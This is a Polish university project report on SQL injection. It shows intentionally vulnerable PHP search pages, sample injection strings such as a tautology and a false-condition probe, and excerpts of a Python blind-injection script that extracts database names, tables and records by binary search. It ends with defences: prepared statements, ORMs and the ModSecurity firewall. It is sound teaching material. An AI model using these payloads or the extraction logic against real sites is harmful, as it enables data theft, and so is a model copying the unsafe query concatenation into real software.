

Sprawozdanie z tematu nr 27:
"Zautomatyzowane ataki iniekcji kodu SQL"

Mateusz Rzęsa, gr 7A; 198417

Julian Kotłowski, gr 7A, 197694

30 stycznia 2026

Spis treści

1 Wstęp	2
2 Cel projektu	2
3 Wstrzykiwanie SQL	2
3.1 Proste wstrzykiwanie SQL	3
3.2 Ślepe wstrzykiwanie SQL	6
4 Sposoby obrony	9
4.1 Z perspektywy programisty	9
4.2 Z perspektywy administratora	11
5 Podsumowanie	11

1 Wstęp

Ataki typu wstrzykiwanie SQL nie są nowym tematem w dziedzinie cyber-bezpieczeństwa. Najwcześniejsze dyskusje tej podatności można znaleźć w tekstach z nawet 1998 [1]. Pomimo starości nadal jest jedną z najczęściej stosowanych sposobów ataków na witryny. Najświeższa edycja "Top Ten Web Application Security Risks" projektu Open Web Application Security z roku 2021 uwzględnia wstrzykiwanie SQL pod szerszą kategorią zatytułowaną "Injection". Zgodnie z raportem ocenia się że 94% przeanalizowanych aplikacji webowych było podatne na ataki oparte na wstrzykiwaniu [2]. Liczba ta nie wykazuje znaków zmniejszenia się w wydaniu kandydującym na rok 2025 [3]. Jasnym jest, że pomimo wielu badań i technik unikania tej podatności problem wstrzykiwania SQL nadal jest powszechny.

2 Cel projektu

Celem projektu jest zaprezentowanie jak wyglądają ataki typu ślepe wstrzykiwanie SQL oraz sposobów na obronę przed nimi z perspektywy programisty i administratora. Przedstawione zostaną przykładowe witryny odporne lub podatne na ten atak.

3 Wstrzykiwanie SQL

Wstrzykiwanie SQL odnosi się do typu ataku w którym atakujący może wpisać przygotowane zapytanie SQL poprzez niewalidowane dane wejściowe od użytkownika [4]. W tradycyjnym przykładzie ma to formę wpisania odpowiedniego łańcucha znaków w pole tekstowe. Wstrzyknięte zapytanie może być wykorzystane do odczytu nieautoryzowanych danych, modyfikacji da-

nych i wiele innych. Sposoby wykorzystania tej podatności są ograniczone tylko przez kreatywność atakującego.

3.1 Proste wstrzykiwanie SQL

Weźmy na przykład następującą witrynę:

```
1 <?php
2 echo "<h2> Search users (very unsafe)</h2>";
3 $input = $_GET['user'] ?? '';
4 if ($input !== '') {
5     echo "<p>User given: <b>$input</b></p>";
6     $conn = new mysqli("localhost", "demo_user", "demo_pass",
7                        "demo_db");
8     $result = $conn->query("
9         SELECT id, username, email
10        FROM users
11       WHERE username = '$input'
12   ");
13     echo "<h3>Results:</h3>";
14     if ($result->num_rows > 0) {
15         while ($row = $result->fetch_assoc()) {
16             echo "<p>
17                   ID: {$row['id']}<br>
18                   User: {$row['username']}<br>
19                   Email: {$row['email']}<br>
20             </p><hr>";
21     }
22 } else {
23     echo "<p>Non Users</p>";
24 }
25 $conn->close();
26 ?>
```

```
27 <form>
28     <input type="text" name="user" placeholder="username: " >
29     <button type="submit">Szukaj </button>
30 </form>
```

Search users (unsafe)

username: Szukaj

Rysunek 1: Wygląd prostej witryny

Witryna ta zwraca użytkownikowi bezpośredni wynik zapytania SQL. Zapytanie użytkownika jest wklejone bez żadnej walidacji do funkcji `query()`. Jest to podręcznikowy przykład witryny podatnej na najprostsze wstrzyknięcie SQL, możemy wpisać na przykład `bzdura' OR 'a'='a`, aby otrzymać wszystkie dane w bazie danych, jak widoczne na rysunku 2.

Search users (unsafe)

User given: **bzdura' OR 'a'='a**

Results:

ID: 1

User: alice

Email: alice@example.com

ID: 2

User: bob

Email: bob@example.com

ID: 3

User: charlie

Email: charlie@example.com

username:

Szukaj

3.2 Ślepe wstrzykiwanie SQL

Witryny, na których możliwe jest przeprowadzenie tak łatwego wstrzyknięcia są dość rzadkie. W tym projekcie skupienie jest położone na trudniejsze do przeprowadzenia ataki. Rozważmy nieco inną witrynę:

```
1 <?php
2 echo "<h2> Search users (unsafe)</h2>";
3 $input = $_GET['user'] ?? '';
4 if ($input === '') {
5     $conn = new mysqli("localhost", "demo_user", "demo_pass",
6                         "demo_db");
7     $result = $conn->query("
8         SELECT id, username, email
9         FROM users
10        WHERE username = '$input'
11    ");
12    if ($result->num_rows > 0) {
13        header("Location: /demo/user.php");
14        exit();
15    }
16    $conn->close();
17 }
18 ?>
19 <form>
20     <input type="text" name="user" placeholder="username: ">
21     <button type="submit">Szukaj</button>
22 </form>
```

W tej witrynie rezultat zapytania nie jest zwracany użytkownikowi. Zamiast tego użytkownik dostaje jedynie informację czy jego zapytanie powiodło się, czy nie. Programista tej witryny nadal popełnił ten sam błąd - wynik pola tekstowego jest wklejany bezpośrednio do funkcji query(). Podatność nadal

jest obecna, ale jej wykorzystanie wymaga większej finezji.

Możliwa jest weryfikacja obecności podatności. Znając zapytanie, dla którego wynikiem jest rezultat "sukces", jeżeli do zapytania dodany zostanie warunek, który zmieni wartość logiczną zapytania w fałsz i wynikiem tego zmienionego zapytania będzie "porażka", to występuje możliwość wstrzykiwania zapytań SQL. Na przykład jeżeli wiadomo, że dla zapytania `alice` rezultatem jest "sukces" to podatność występuje jeśli dla zapytania `alice' AND 'a'='b` rezultatem jest "porażka", jako iż dowolne zdanie `AND 'a' = 'b'` zawsze zwróci fałsz.

Atak tego typu ślepe wstrzykiwanie SQL jest podobny do gry w 20 pytań z serwerem. Atakujący będzie wysyłał jedno po drugim zapytania takie jak `Czy pierwsza litera tabeli to 'm'?`, `Czy druga litera to 'l'?` itp. Jedną literę można wydobyć w średnio 7 zapytań, korzystając z wyszukiwania binarnego.

Zgodnie z zasadą Codda o numerze cztery metadane relacyjnej bazy danych nie powinny się różnić od zwykłych danych, możliwe jest więc wykonywanie na nich zapytań [5]. Oprócz zwykłych danych, atakujący może więc zdobyć informacje o strukturze bazy. Aby to zaprezentować opracowano prosty skrypt, który wydobywa nazwę bazy danych, nazwy wszystkich pól tabeli i ich zawartość z powyższej witryny. Pełen skrypt dostępny jest na platformie [GitHub](#), jako iż jest zbyt długi by uwzględnić go w całości w niniejszym sprawozdaniu.

Główna pętla skryptu:

```
1  def main():
2      if len(sys.argv) < 2:
3          address = "192.168.1.3"
4      else:
5          address = sys.argv[1]
```

```

6     url  = f"http://{address}/demo/search.php"
7     print(f"Attacking url: {url}")
8     start_time = time.time()
9     global db_name
10    db_name = guess_secret(url, 0).lower()
11    print("DB_name:", db_name)
12    tables = guess_secret(url, 1).lower().split(" ")
13    print("tables: ", tables)
14    for table in tables:
15        global current_table
16        current_table = table
17        attrs = guess_secret(url, 2).lower().split(" ")
18        print(f"table: {table}: {attrs}")
19        for attr in attrs:
20            global current_attr
21            current_attr = attr
22            records = guess_secret(url, 3).lower().split(" ")
23            print(f"attr: {attr}: {records}")
24    end_time = time.time()
25    total_time = end_time - start_time
26    global request_counter
27    print(f"Attack took {total_time:.2f} seconds")
28    print(f"Attack required {request_counter} requests")

```

Zgadywanie pojedynczego "słowa":

```

1  def guess_secret(url: str, url_idx):
2      alphabet = "".join(chr(i) for i in range(128))
3      name = ""
4      idx = 1
5
6      while True:
7          if eq(name, url, url_idx):
8              return name

```

```
9     ch = binary_search_char(idx, alphabet, url, url_idx)
10    if ch is None:
11        ch = ', '
12
13    name += ch
14    idx += 1
```

Wyszukiwanie pojedynczej litery:

```
1 def binary_search_char(idx, alphabet, url: str, url_idx):
2     lo, hi = 0, len(alphabet) - 1
3
4     while lo <= hi:
5         mid = (lo + hi) // 2
6         guess = alphabet[mid]
7         if eq_char(idx, guess, url, url_idx):
8             return guess
9         elif lower(idx, guess, url, url_idx):
10            hi = mid - 1
11        else:
12            lo = mid + 1
13    return None
```

4 Sposoby obrony

4.1 Z perspektywy programisty

W aplikacjach pisanych w języku PHP często dochodzi do występowania tej podatności przez myłącą funkcję `query()`. Wystarczy prześledzić wzrokiem jej dokumentację by dostrzec ostrzeżenie na czerwonym tle radzące programistom nie korzystać z tej metody. Zamiast tego zalecane jest użycie tzw. "*prepared statements*", czyli zapytań, które wymagają konkretnego typu pa-

rametru na wejście. Nie zachodzi w nich sklejanie ze sobą łańcuchów znaków [6].

Witryna napisana bezpieczniej niż ta podana w poprzednim przykładzie mogłaby wyglądać następująco:

```
1 <?php
2 echo "<h2> Search users (safer)</h2>";
3
4 $input = $_GET['user'] ?? '';
5
6 if ($input !== '') {
7
8     $conn = new mysqli("localhost", "demo_user", "demo_pass",
9                         "demo_db");
10
11     $statement = $conn->prepare("SELECT id, username, email
12                                 FROM users WHERE username = ?");
13
14     $statement->bind_param("s", $input);
15
16     $statement->execute();
17
18     $result = $statement->get_result();
19
20     if ($result->num_rows > 0) {
21
22         header("Location: /demo/user.php");
23
24         $conn->close();
25
26         exit();
27
28     }
29
30     $conn->close();
31
32 }
33
34 ?>
35 <form>
36     <input type="text" name="user" placeholder="username: ">
37     <button type="submit">Szukaj</button>
38 </form>
```

Języki inne niż PHP również mają bezpieczniejsze sposoby na tworzenie

zapytań SQL, często w formie tzw. "*Object-relational mapping*"^[7]. Programista powinien wykonać odpowiednie badanie i użyć metody udowodnionej jako najbezpieczniejszą.

4.2 Z perspektywy administratora

Administrator, który nie ma żadnego wpływu na kod witryny nie jest bezsilny w walce z wstrzykiwaniem SQL. Dostępne jest oprogramowanie służące jako dodatkowa warstwa bezpieczeństwa pomiędzy potencjalnym atakującym i bazą danych. W powszechnie używanym serwerze Apache dostępny jest moduł [ModSecurity](#).

Funkcjonalność ta stawia pośrednika pomiędzy przed dostępem do serwera. Przechwytuje żądania HTTP i analizuje je pod kątem wzorów często pojawiających się w atakach typu wstrzykiwanie SQL np. 'OR 1=1'. Filtracja ta jest bardziej skompilowana niż tylko wyszukiwanie konkretnych słów. Przychodzące zapytanie jest analizowane i przydzielane wynik "podejrzenia". Po przekroczeniu pewnego progu żądanie jest blokowane. Inną funkcjonalnością często obecną w tego typu modułach jest trenowanie ich w tym jak wygląda "dobry" ruch sieciowy. Trening ten może być potem wykorzystany do identyfikowania "złych" żądań [8].

ModSecurity jest wysoce konfigurowalne i ma wiele reguł definiujących zachowanie blokady [9]. Opisanie całości działania tej technologii jest wysoce poza zasięgiem niniejszego sprawozdania.

5 Podsumowanie

Ataki typu wstrzykiwanie SQL pomimo swojej starości nadal są powszechnie występujące w witrynach internetowych. Tym ważniejsze jest zrozumienie ich

działania oraz znajomość sposobów obrony. W projekcie opracowano przykładowe witryny podatne i odporne na wstrzykiwanie SQL oraz przeprowadzono badanie na temat metod ochrony poza zmianą kodu witryn.

Literatura

- [1] Wczesne dyskusje nt. wstrzykiwania SQL, Phrack Magazine
- [2] Sekcja o wstrzykiwaniu z edycji 2021 "Top 10" OWASP:
https://owasp.org/Top10/2021/A03_2021-Injection/
- [3] Sekcja o wstrzykiwaniu z kandydata na edycję 2025 "Top 10" OWASP:
https://owasp.org/Top10/2025/A05_2025-Injection/
- [4] Definicja SQL:
https://owasp.org/www-community/attacks/SQL_Injection
- [5] 12 zasad Codda:
<https://reldb.org/c/index.php/twelve-rules/>
- [6] Prepared statements:
<https://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php>
- [7] Object-relational mapping:
https://en.wikipedia.org/wiki/Object%20-%20relational_mapping
- [8] Artykuł o Web Application Firewall:
<https://www.redhat.com/en/blog/introducing-wafs>

[9] Instrukcja ModSecurity:

[https://github.com/owasp-modsecurity/ModSecurity/wiki/Reference-Manual-\(v3.x\)](https://github.com/owasp-modsecurity/ModSecurity/wiki/Reference-Manual-(v3.x))